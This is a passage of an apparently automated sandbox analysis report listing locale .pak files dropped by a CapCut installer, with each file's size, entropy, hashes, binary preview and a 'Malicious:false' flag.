                                                                                                                                                                                                                                                                        SSDEEP:12288:AYtrLnsoR47/R7nUwmoMmWDcZubSA/d+8di3ethK5d/7dxOt3ab:lt0oNwMi3eG5d/7Ot3c
                                                                                                                                                                                                                                                                        MD5:8B38C65FC30210C7AF9B6FA0424266F4
                                                                                                                                                                                                                                                                        SHA1:116413710FFCF94FBFA38CB97A47731E43A306F5
                                                                                                                                                                                                                                                                        SHA-256:E8DF9A74417C5839C531D7CCAB63884A80AFB731CC62CBBB3FD141779086AC7D
                                                                                                                                                                                                                                                                        SHA-512:0FD349C644AC1A2E7ED0247E40900D3A9957F5BEF1351B872710D02687C934A8E63D3A7585E91F7DF78054AEFF8F7ABD8C93A94FCD20C799779A64278BAB2097
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........j...h.6...i.G...j.S...k.b...l.m...n.u...o.z...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................".....).....0.....1.....2.....7.................".....b.....}.......................N...........3.....5.....9.....a.......................M.....{.................@.....n...........!.....e.............................'.......................C.....}.............................H.................=.................P.....~.........................................v.................I.....j.........................................b...................................q.......................b.....i.....l.....n.............................1...........q.....'.....E...........N...........(.....`...................................;.............................Y.....4.............................;.....k... .....".....%.n...(.....*.....+.....,.M........./.....0.....1.}...3.....4.....5.>...6.....7.....8.....9.....;.....<.8...=.X...>.....?.....@.....A.....C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\mr.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):863911
                                                                                                                                                                                                                                                                        Entropy (8bit):4.295071040310227
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:OVDue+/Ti/eFcDX6WRAWXXspvidz0F5MU9G3GRe3RQR3K5/knxi4nou4bmHwIZus:eueAi2FZW2bo26lp70Kte5zGpGiBs
                                                                                                                                                                                                                                                                        MD5:C0EF1866167D926FB351E9F9BF13F067
                                                                                                                                                                                                                                                                        SHA1:6092D04EF3CE62BE44C29DA5D0D3A04985E2BC04
                                                                                                                                                                                                                                                                        SHA-256:88DF231CF2E506DB3453F90A797194662A5F85E23BBAC2ED3169D91A145D2091
                                                                                                                                                                                                                                                                        SHA-512:9E2B90F3AC1AE5744C22C2442FBCD86A8496AFC2C58F6CA060D6DBB08AF6F7411EF910A7C8CA5AEDEE99B5443D4DFF709C7935E8322CB32F8B071EE59CAEE733
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........(...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.#...t.,...v.A...w.N...y.T...z.c...|.i...}.{.......................................................................9.....[.....}...................................!...................................).....\.............................?.......................&.....E.....a.....w.......................[...............................................4.....^.......................L...................................&.....2.....U.....n.......................i.....................................................;.....X.........................................:.....m.....t.....w.....y.........................................7...................................-.....F.....f.....o.............................".....v.................O.............................?.....t......... .....".....%.,...(.b...*.....+.....,.........../.?...0.L...1.....3.....4.....5.P...6.....7.....8.:...9.b...;.....<.....=.....>.....?.....@.I...A.}...C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\ms.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):390303
                                                                                                                                                                                                                                                                        Entropy (8bit):5.258177538585681
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:zCsFFfyrvxoQuXkulRopY/5BI8T5sHAVHMM/k3y:tQxoNlR6K5v5vVsMZ
                                                                                                                                                                                                                                                                        MD5:9B3E2F3C49897228D51A324AB625EB45
                                                                                                                                                                                                                                                                        SHA1:8F3DAEC46E9A99C3B33E3D0E56C03402CCC52B9D
                                                                                                                                                                                                                                                                        SHA-256:61A3DAAE72558662851B49175C402E9FE6FD1B279E7B9028E49506D9444855C5
                                                                                                                                                                                                                                                                        SHA-512:409681829A861CD4E53069D54C80315E0C8B97E5DB4CD74985D06238BE434A0F0C387392E3F80916164898AF247D17E8747C6538F08C0EF1C5E92A7D1B14F539
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........c...h.(...i.0...j.<...k.K...l.V...n.^...o.c...p.p...r.v...s.....t.....v.....w.....y.....z.....|.....}................................................................... .....J.....].....q.................................................................<.....R.....r.....{.......................................................................+.....;.....J.....y.............................................................................6.....S.....w.............................................................................:.....S....._.................................................................0.....I.....`.....s.....z.....}.....~.....................................................M.....T.................................................................2.....N.....f.....................................................,.....:... .=...".I...%.u...(.....*.....+.....,.........../.....0.....1.....3.;...4.Z...5.m...6.....7.....8.....9.....;.....<.....=.....>.:...?.B...@.W...A...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\nb.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):383011
                                                                                                                                                                                                                                                                        Entropy (8bit):5.424530593988954
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:rmRAsByIhGvbSqOp7f21zg2mKP7s4Uzwn5el4nYHOp1D:rmRGxvbSqOp7f21vs4kM5el4Jp1D
                                                                                                                                                                                                                                                                        MD5:AF0FD9179417BA1D7FCCA3CC5BEE1532
                                                                                                                                                                                                                                                                        SHA1:F746077BBF6A73C6DE272D5855D4F1CA5C3AF086
                                                                                                                                                                                                                                                                        SHA-256:E900F6D0DD9D5A05B5297618F1FE1600C189313DA931A9CB390EE42383EB070F
                                                                                                                                                                                                                                                                        SHA-512:C94791D6B84200B302073B09357ABD2A1D7576B068BAE01DCCDA7BC154A6487145C83C9133848CCF4CB9E6DC6C5A9D4BE9D818E5A0C8F440A4E04AE8EABD4A29
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........S...h.....i.....j.+...k.:...l.E...n.M...o.R...p._...r.e...s.v...t.....v.....w.....y.....z.....|.....}.........................................................................3.....>.....M.....`.....h.....r.....................................................$.....<.....A.....P.....a.....h.....t...........................................................).....\.....o.....v.....{...........................................................).....A.....Z.....e.....i.....q.....x.....~...........................................................5.....X.....n.....w.........................................................................................!.....).....4.....;.....F.....v.......................>.....X.....p...........................................................&.....?.....W................................................... .....".....%. ...(.@...*.c...+.f...,.........../.....0.....1.....3.....4.....5.....6.L...7.c...8.....9.....;.....<.....=.....>.....?.....@.....A.....C.".

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\nl.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):395064
                                                                                                                                                                                                                                                                        Entropy (8bit):5.365550895872654
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:9V01rV7gSsX5SEHDpaQe3D+qnRVd5qYx1Gp7KhaPW:96NFgSsX5S1V7d5qYx1Gp7KcPW
                                                                                                                                                                                                                                                                        MD5:181D2A0ECE4B67281D9D2323E9B9824D
                                                                                                                                                                                                                                                                        SHA1:E8BDC53757E96C12F3CD256C7812532DD524A0EA
                                                                                                                                                                                                                                                                        SHA-256:6629E68C457806621ED23AA53B3675336C3E643F911F8485118A412EF9ED14CE
                                                                                                                                                                                                                                                                        SHA-512:10D8CC9411CA475C9B659A2CC88D365E811217D957C82D9C144D94843BC7C7A254EE2451A6F485E92385A660FA01577CFFA0D64B6E9E658A87BEF8FCCBBEAF7E
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........E...h.....i.....j.....k.....l.#...n.+...o.0...p.=...r.C...s.T...t.]...v.r...w.....y.....z.....|.....}...............................................................................$.....4.....E.....N.....W.....r.....z.....................................................'.....7.....I.....V.....c...........................................................!.....`.....u.....z...........................................................+.....G.....f.......................................................................9.....E.....].....v.....................................................2.....F.....Y.....t.................................................................'.....a...................................<.....I.....Y.....a.....j.....n.....r...................................".....O.....d.....m.....x..................... .....".....%.....(.....*.....+.....,.!.....2.../.I...0.S...1.....3.....4.....5.....6.....7.....8.;...9.J...;.Z...<.h...=.v...>.....?.....@.....A.....C.....D...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\pl.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):439920
                                                                                                                                                                                                                                                                        Entropy (8bit):5.766175831058526
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:f2jujSo9/D+Xgv3iWGb1vPiCUdhUo3Ymhz1QhjAB5cUE447e:Sc3N1Qhw5me
                                                                                                                                                                                                                                                                        MD5:18D49D5376237BB8A25413B55751A833
                                                                                                                                                                                                                                                                        SHA1:0B47A7381DE61742AC2184850822C5FA2AFA559E
                                                                                                                                                                                                                                                                        SHA-256:1729AA5C8A7E24A0DB98FEBCC91DF8B7B5C16F9B6BB13A2B0795038F2A14B981
                                                                                                                                                                                                                                                                        SHA-512:45344A533CC35C8CE05CF29B11DA6C0F97D8854DAE46CF45EF7D090558EF95C3BD5FDC284D9A7809F0B2BF30985002BE2AA6A4749C0D9AE9BDFF4AD13DE4E570
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........T...h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...r._...s.p...t.y...v.....w.....y.....z.....|.....}.........................................................................6.....E.....S.....h.....q...........................................................3.....M.....S.....g.....|.................................................................).....;.....n.............................................................................2.....N.....i.....{.................................................................+.....6.....V.....c...........................................................(.....7.....M.....d.....{...........................................................T.............................,.....i.....r.....................................................7.....V.....r............................................. .....".)...%.K...(.c...*.....+.....,.........../.....0.....1.....3.,...4.K...5.i...6.....7.....8.....9.....;.....<.....=.....>.....?.$...@.7...A.{...C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\pt-BR.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):415447
                                                                                                                                                                                                                                                                        Entropy (8bit):5.426006792591415
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:Bm1HqF4Znh9GzBtNBXBLd1OUDcpryHF55NJND0bsRzlb2:UHrnhMzX5PJB4sRxC
                                                                                                                                                                                                                                                                        MD5:0D9DEA9E24645C2A3F58E4511C564A36
                                                                                                                                                                                                                                                                        SHA1:DCD2620A1935C667737EEA46CA7BB2BDCB31F3A6
                                                                                                                                                                                                                                                                        SHA-256:CA7B880391FCD319E976FCC9B5780EA71DE655492C4A52448C51AB2170EEEF3B
                                                                                                                                                                                                                                                                        SHA-512:8FCF871F8BE7727E2368DF74C05CA927C5F0BC3484C4934F83C0ABC98ECAF774AD7ABA56E1BF17C92B1076C0B8EB9C076CC949CD5427EFCADE9DDF14F6B56BC5
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........j...h.6...i.G...j.S...k.b...l.m...n.u...o.z...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................".....).....0.....1.....2.....7....._.....q.....................................................#.....%.....).....T.....c.....|...................................................../.....F.....P.....X.....h.....y...........................................................%.....:.....H.....Y.....r.................................................................+.....5.....F.....~...............................................).....;.....S.....V.....g.....y.............................................................................=.....y............................. .....H.....R.....i.....p.....z...............................................3.....f....................................... .....".....%.....(.....*.(...+.+...,.I.....Z.../.n...0.w...1.....3.....4.....5.....6.-...7.A...8.Y...9.l...;.|...<.....=.....>.....?.....@.....A.....C.!...D.+.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\pt-PT.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):416977
                                                                                                                                                                                                                                                                        Entropy (8bit):5.401132911995885
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:isWkrPyGJeOMqieJVJJxhlOlxLu3ov5xKqSR0B:X3PBxj8zv5xKqSRW
                                                                                                                                                                                                                                                                        MD5:6A7232F316358D8376A1667426782796
                                                                                                                                                                                                                                                                        SHA1:8B70FE0F3AB2D73428F19ECD376C5DEBA4A0BB6C
                                                                                                                                                                                                                                                                        SHA-256:6A526CD5268B80DF24104A7F40F55E4F1068185FEBBBB5876BA2CB7F78410F84
                                                                                                                                                                                                                                                                        SHA-512:40D24B3D01E20AE150083B00BB6E10BCA81737C48219BCE22FA88FAAAD85BDC8C56AC9B1EB01854173B0ED792E34BDFBAC26D3605B6A35C14CF2824C000D0DA1
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........s...h.H...i.Y...j.e...k.t...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................%.....-.....4.....;.....B.....C.....D.....I.....r...........................................................&.....(.....,.....W.....f...........................................................!.....9.....C.....K.....\.....n.................................................................%.....3.....D.....b.................................................................#.....+.....<.....t.....~...............................................(.....:.....T.....W.....h.....|.............................................................................N...................................0.....X.....b.....|.....................................................;.....^............................................. .....".....%.....(.3...*.P...+.S...,.q........./.....0.....1.....3.....4.....5.8...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.+...A.a...C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\ro.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):430191
                                                                                                                                                                                                                                                                        Entropy (8bit):5.460617985170646
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:pqgw32K4aoFt3GgnSYn0vLi5OU6ois2a/7ulqr:pqgVzFt3GgnSY0vLi5OXo3/5r
                                                                                                                                                                                                                                                                        MD5:99EAA3D101354088379771FD85159DE1
                                                                                                                                                                                                                                                                        SHA1:A32DB810115D6DCF83A887E71D5B061B5EEFE41F
                                                                                                                                                                                                                                                                        SHA-256:33F4C20F7910BC3E636BC3BEC78F4807685153242DD4BC77648049772CF47423
                                                                                                                                                                                                                                                                        SHA-512:C6F87DA1B5C156AA206DC21A9DA3132CBFB0E12E10DA7DC3B60363089DE9E0124BBAD00A233E61325348223FC5953D4F23E46FE47EC8E7CA07702AC73F3FD2E9
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........L...h.....i.....j.....k.$...l./...n.7...o.<...p.I...r.O...s.`...t.i...v.~...w.....y.....z.....|.....}.........................................................................1.....@.....L.....Z.....e.....p...........................................................<.....E.....^.....n.....y...............................................+.....?.....T.................................................................M.....n...................................#.....+.....2.....8.....G.....Y.....n.....u...............................................T.....b.....t.....................................................,.....@.....G.....J.....K.....W.....c.....p.....y.................).....r.....z.............................9.....S.....d.....l.....r.....x.............................3.....V............................................. .....".....%.<...(.S...*.k...+.n...,.........../.....0.....1.....3.....4.'...5.G...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.&...A._...C.....D...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\ru.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):703696
                                                                                                                                                                                                                                                                        Entropy (8bit):4.836890612319527
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:ckXRY5eXN2hHO3j/jHXzvMBsiA2kkce8P/XyFGGJGswfaZ/LeUFCcYWIkHWajf+F:ck5LZ5w6pF
                                                                                                                                                                                                                                                                        MD5:AB9902025DCF7D5408BF6377B046272B
                                                                                                                                                                                                                                                                        SHA1:C9496E5AF3E2A43377290A4883C0555E27B1F10F
                                                                                                                                                                                                                                                                        SHA-256:983B15DCC31D0E9A3DA78CD6021E5ADD2A3C2247322ADED9454A5D148D127AAE
                                                                                                                                                                                                                                                                        SHA-512:D255D5F5B6B09AF2CDEC7B9C171EEBB1DE1094CC5B4DDF43A3D4310F8F5F223AC48B8DA97A07764D1B44F1D4A14FE3A0C92A0CE6FE9A4AE9A6B4A342E038F842
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..........S.h.....i.....j.....k.....l.....n.#...o.(...p.5...r.;...s.L...t.U...v.j...w.w...y.}...z.....|.....}.........................................................................:.....W.....t.........................................E.....l.....n.....r...................................(.....A.....K.............................3.....?.....b.......................+.....5.....F.....[.....v.........................................8.....f.........................................*.....K.....e...................................H.....i.............................7.....t.....w...................................B.....I.....L.....M.....].....q...................................>.....J.................#.....e.........................................6.....t.................:.......................#.....7.....G.....w......... .....".....%.....(.....*.....+.....,.........../.....0.....1.]...3.t...4.....5.....6.N...7.r...8.....9.....;.....<.....=.....>.8...?.G...@.f...A.....C.!...D.2...E.j...F...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\sk.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):443094
                                                                                                                                                                                                                                                                        Entropy (8bit):5.818852266406701
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:vQt/WMWyqiLJcPXPk5ELALWaQlKDEmLFGR:vQYfyqiWPXM5ELALWaQlwdLE
                                                                                                                                                                                                                                                                        MD5:C6C7396DBFB989F034D50BD053503366
                                                                                                                                                                                                                                                                        SHA1:089F176B88235CCE5BCA7ABFCC78254E93296D61
                                                                                                                                                                                                                                                                        SHA-256:439F7D6C23217C965179898754EDCEF8FD1248BDD9B436703BF1FF710701117A
                                                                                                                                                                                                                                                                        SHA-512:1476963F47B45D2D26536706B7EEBA34CFAE124A3087F7727C4EFE0F19610F94393012CDA462060B1A654827E41F463D7226AFA977654DCD85B27B7F8D1528EB
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........U...h.....i. ...j.,...k.;...l.F...n.N...o.S...p.`...r.f...s.w...t.....v.....w.....y.....z.....|.....}.........................................................................A.....U.....].....o.....z.....................................................9.....R.....q.....w...............................................!.....0.....6.....>.....N....._.....s.....................................................$.....:.....L.....h.......................................................................".....=.....|...............................................*.....9.....a.....d.....v...................................................................................d.......................t.........................................%.....0.....9.....P.....x.............................U.....r.....z........................... .....".....%.....(.....*.6...+.9...,.W.....h.../.....0.....1.....3.....4.....5.....6.D...7.Y...8.p...9.....;.....<.....=.....>.....?.....@.....A.(...C.I...D.T...E.t.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\sl.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):427791
                                                                                                                                                                                                                                                                        Entropy (8bit):5.48540289392965
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:iyCeC3SMQRB21BPDwY5oEcAVOlJgi/fzxzqg:iTJ6kDwY5oEc0i/fzxt
                                                                                                                                                                                                                                                                        MD5:D4BD9F20FD29519D6B017067E659442C
                                                                                                                                                                                                                                                                        SHA1:782283B65102DE4A0A61B901DEA4E52AB6998F22
                                                                                                                                                                                                                                                                        SHA-256:F33AFA6B8DF235B09B84377FC3C90403C159C87EDD8CD8004B7F6EDD65C85CE6
                                                                                                                                                                                                                                                                        SHA-512:ADF8D8EC17E8B05771F47B19E8027F88237AD61BCA42995F424C1F5BD6EFA92B23C69D363264714C1550B9CD0D03F66A7CFB792C3FBF9D5C173175B0A8C039DC
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........A...h.....i.....j.....k.....l.....n.!...o.&...p.3...r.9...s.J...t.S...v.h...w.u...y.{...z.....|.....}.....................................................................................*.....:.....B.....R.....y...............................................,.....D.....N.....X.....b.....m.....{.................................................................M.....c.....h.....o...........................................................%.....C.....d.................................................................3.....=.....L.....c.....v.....................................................-.....@.....P.....e.....|.................................................................Y.............................2.....m.....z.....................................................2.....H.....o............................................. .....".....%.....(.P...*.t...+.w...,.........../.....0.....1.....3. ...4.<...5.Q...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.,...A.....C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\sr.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):660194
                                                                                                                                                                                                                                                                        Entropy (8bit):4.761695251077794
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:oLNvoUKEuNI0I4Ki1eg82ATs+Hc549x4moW037LJzk/k/N:xrnqJc5Axjw
                                                                                                                                                                                                                                                                        MD5:CBB817A58999D754F99582B72E1AE491
                                                                                                                                                                                                                                                                        SHA1:6EC3FD06DEE0B1FE5002CB0A4FE8EC533A51F9FD
                                                                                                                                                                                                                                                                        SHA-256:4BD7E466CB5F5B0A451E1192AA1ABAAF9526855A86D655F94C9CE2183EC80C25
                                                                                                                                                                                                                                                                        SHA-512:EFEF29CEDB7B08D37F9DF1705D36613F423E994A041B137D5C94D2555319FFB068BB311884C9D4269B0066746DACD508A7D01DF40A8561590461D5F02CB52F8B
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........e...h.,...i.=...j.I...k.X...l.c...n.k...o.p...p.}...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................&.....'.....(.....*.....y............................. .....b.........................................?.....c.........................................?.....V.....o...................................3.....R...................................'.....1.....A.....M.....l.............................J.....................................................4.....@.....c.............................-.....l...................................P.....S.....n.....................................................%.....1.....J.....Y.....o.......................).................&.....n...............................................g.......................H...................................0.....E... .Y...".....%.....(.....*.....+."...,.@.....h.../.....0.....1.....3.....4.R...5.....6.....7.....8.B...9.v...;.....<.....=.....>.....?.....@.....A.....C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\sv.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):385361
                                                                                                                                                                                                                                                                        Entropy (8bit):5.543491670458518
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:M4pITVzssdlJ9EAjiws8cB7xjpZ/4LLXru9M9SOxDE/xUDvZv5pB5mEgb7:BpIXzJ9V2B1q5/5mz
                                                                                                                                                                                                                                                                        MD5:502E4A8B3301253ABE27C4FD790FBE90
                                                                                                                                                                                                                                                                        SHA1:17ABCD7A84DA5F01D12697E0DFFC753FFB49991A
                                                                                                                                                                                                                                                                        SHA-256:7D72E3ADB35E13EC90F2F4271AD2A9B817A2734DA423D972517F3CFF299165FD
                                                                                                                                                                                                                                                                        SHA-512:BD270ABAF9344C96B0F63FC8CEC04F0D0AC9FC343AB5A80F5B47E4B13B8B1C0C4B68F19550573A1D965BB18A27EDF29F5DD592944D754B80EA9684DBCEDEA822
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........0...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.*...t.3...v.H...w.U...y.[...z.j...|.p...}...........................................................................................!.....).....2.....M.....U.....`...........................................................&.....-.....:.....c.....t.........................................................../.....;.....C.....U.....e.....i.....s.....z...................................%.....H.....S.....Y.....a.....h.....n.....{.....................................................).....R.....q.....y.................................................................$.....+.........../.....7.....?.....J.....R.....].................".....).....u.................................................................'.....?.....k...............................................".....*... ./...".9...%.[...(.x...*.....+.....,.........../.....0.....1.....3.)...4.P...5.e...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.%...A.Q...C.p.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\sw.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):404460
                                                                                                                                                                                                                                                                        Entropy (8bit):5.342349721117576
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:icM47G565vqimUwbQuBndO8gJGgnATm5A1vZcsToe4t2ht:iy7GsP5Ar
                                                                                                                                                                                                                                                                        MD5:39277AE2D91FDC1BD38BEA892B388485
                                                                                                                                                                                                                                                                        SHA1:FF787FB0156C40478D778B2A6856AD7B469BD7CB
                                                                                                                                                                                                                                                                        SHA-256:6D6D095A1B39C38C273BE35CD09EB1914BD3A53F05180A3B3EB41A81AE31D5D3
                                                                                                                                                                                                                                                                        SHA-512:BE2D8FBEDAA957F0C0823E7BEB80DE570EDD0B8E7599CF8F2991DC671BDCBBBE618C15B36705D83BE7B6E9A0D32EC00F519FC8543B548422CA8DCF07C0548AB4
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........Y...h.....i.....j.+...k.:...l.E...n.M...o.R...p._...r.e...s.v...t.....v.....w.....y.....z.....|.....}.........................................................................3.....E.....U.....i.....u...........................................................+.....H.....N.....Z.....m.....z.....................................................$.....8.....E.....p.......................................................................8.....W.....{................................................................. .....[.....m.....{...................................(.....4.....K.....x.....{.........................................................................................+.....\...................................+.....P.....Z.....r.....x...............................................-.....L............................................. .....".....%.....(.7...*.S...+.V...,.t........./.....0.....1.....3.....4.....5.1...6.i...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.9.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\ta.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):1043803
                                                                                                                                                                                                                                                                        Entropy (8bit):4.044068430611977
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:LXNxfy+orMVjLn1ExBlhfg5yzntRMcA2i:rffyrrMFL1cB3g5yzMcA2i
                                                                                                                                                                                                                                                                        MD5:7006691481966109CCE413F48A349FF2
                                                                                                                                                                                                                                                                        SHA1:6BD243D753CF66074359ABE28CFAE75BCEDD2D23
                                                                                                                                                                                                                                                                        SHA-256:24EA4028DA66A293A43D27102012235198F42A1E271FE568C7FD78490A3EE647
                                                                                                                                                                                                                                                                        SHA-512:E12C0D1792A28BF4885E77185C2A0C5386438F142275B8F77317EB8A5CEE994B3241BB264D9502D60BFBCE9CF8B3B9F605C798D67819259F501719D054083BEA
                                                                                                                                                                                                                                                                        Malicious:false
